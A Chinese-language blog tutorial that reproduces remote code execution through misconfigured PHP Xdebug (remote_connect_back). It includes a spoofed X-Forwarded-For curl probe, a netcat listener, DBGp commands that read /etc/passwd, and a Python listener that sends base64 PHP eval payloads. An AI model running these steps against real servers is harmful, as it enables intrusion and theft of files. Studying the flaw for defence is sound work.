前言
偶然看到一篇關於利用xdeubg執行命令的文章,覺得挺有意思的,簡單復現一下利用過程,做一個記錄,原理性的東西就不多講了
原理簡介
xdebug是調試php代碼的工具,遵循DBGp協議。其工作原理大概如下(搬運):
-
IDE(如phpstorm)已經集成了一個遵循DBGp的Xdebug插件,當開啓它的時候,會在本地開一個xdebug調試服務,監聽在調試所設置的端口上,默認是9000,這個服務會監聽所有到9000端口的連接。在phpstorm中,位於:工具欄>run>Start / Stop Listening for PHP Xdebug Connetions
-
當瀏覽器發送一個帶XDEBUG_SESSION_START的參數的請求到服務器時,服務器接手後將其轉到後端的php處理,如果php開啓了xdebug模塊,則會將debug信息轉發到客戶端IP的IDE的調試端口上。
另外,xdebug是需要不是伴隨着php的,要使用他,需要我們自行安裝,可費勁er了。當然我們可以直接到docker hub上找現成的環境。
安裝完xdebug你以爲就結束了嗎,沒有!我們還需要對xdeubg進行配置,網上大多數的教程都是說在php.ini裏配置,但是我使用的這個docker環境,xdebug是有一個單獨的配置文件的,我就直接在這裏面配置了(其實docker環境已經配置的差不多了,我只是按需修改了一下)
我的配置文件如下:
zend_extension=xdebug.so
xdebug.idekey="PHPSTORM"
xdebug.remote_enable=1
xdebug.remote_autostart=0
xdebug.remote_connect_back=1
xdebug.remote_port=9000
幾個常見配置解釋
設置調試工具
xdebug.idekey="PHPSTORM"
綁定遠程調試主機地址
xdebug.remote_host=localhost
遠程主機監聽的端口
xdebug.remote_port=9000
開啓回連
xdebug.remote_connect_back = 1
開啓xdebug
xdebug.remote_enable = 1
經過上面的描述,你應該大概瞭解到其實php的調試是通過客戶端、服務端經過DBGp協議通信來協調實現的,這也是爲什麼php支持遠程調試的原因,既然可以遠程通信,肯定是需要知道對方的地址的,而xdebug又有兩種方式來確定ide的地址,一種是固定ip的方式,另一種就是非固定ip的方式
固定ip方式就是直接在配置xdeubg配置文件或者php.ini裏寫死IDE的公網地址,這樣我們是不能利用的。配置裏會有類似下面這兩項:
xdebug.remote_host=localhost
xdebug.remote_port=9000
另一種方式就是自動回連到請求地址,配置會出現下面這一項:
xdebug.remote_connect_back = 1
而自動回連的ip地址是來自下面這幾處:
-
xdebug.remote_addr_header
-
X-Forwarded-For
-
Remote-Addr
我們知道xff頭是可以控制的,所以就算配置了其他的兩個,也沒有關係,照樣可以連接到我指定的ip地址上,這不就出大問題了嗎
利用條件
xdebug.remote_connect_back = 1 //開啓回連 並且此選項開啓時,xdebug會忽略xdebug.remote_host
直接把客戶端ip當作回連ip,也就是誰訪問它,誰就是回連ip
xdebug.remote_enable = 1 //開啓xdebug
xdebug.remote_log = /tmp/test.log
DBGp協議(搬運)
source
source -i transaction_id -f fileURI
transactionid 貌似沒有那麼硬性的要求,每次都爲 1 即可,fileURI 是要讀取的文件的路徑,需要注意的是,Xdebug 也受限於 openbasedir。
利用方式
source -i 1 -f file:///etc/passwd
還可以利用php://filter ssrf等
腳本里面要這樣寫
conn.sendall('source -i 1 -f %s\x00' % data)
eval
eval -i transaction_id -- {DATA}
{DATA} 爲 base64 過的 PHP 代碼。利用方式(c3lzdGVtKCJpZCIpOw== == system(“id”);):
eval -i 1 – c3lzdGVtKCJpZCIpOw==
腳本里面要這樣寫
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
還有一些其他協議可用,這裏就不一一搬運了,2333333
攻擊方式
前置知識差不多了,那麼要如何利用呢,首先我們發送如下請求,探測目標是否開啓了xdeubg並支持回連
curl http://localhost:8123/joomla346/index.php?XDEBUG_SESSION_START=123 -H "X-Forwarded-For:172.17.0.1"
其中xff在真實環境下應該設置爲你的公網ip,你公網vps需要監聽9000端口(默認是9000端口,目標服務器的xdebug也可能回連其他端口吧~)
nc -lvvp 9000
如果vps收到如下請求,則表示問題存在
然後我們可以寫個利用腳本:
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data =conn.recv(1024)
print(client_data)
data =raw_input('>> ')
conn.sendall('eval-i 1 -- %s\x00' % data.encode('base64'))
上面這個腳本就是利用eval命令執行php代碼,我們可以通過輸入system(命令)
的方式執行系統命令
參考
https://blog.spoock.com/2017/09/19/xdebug-attack-surface/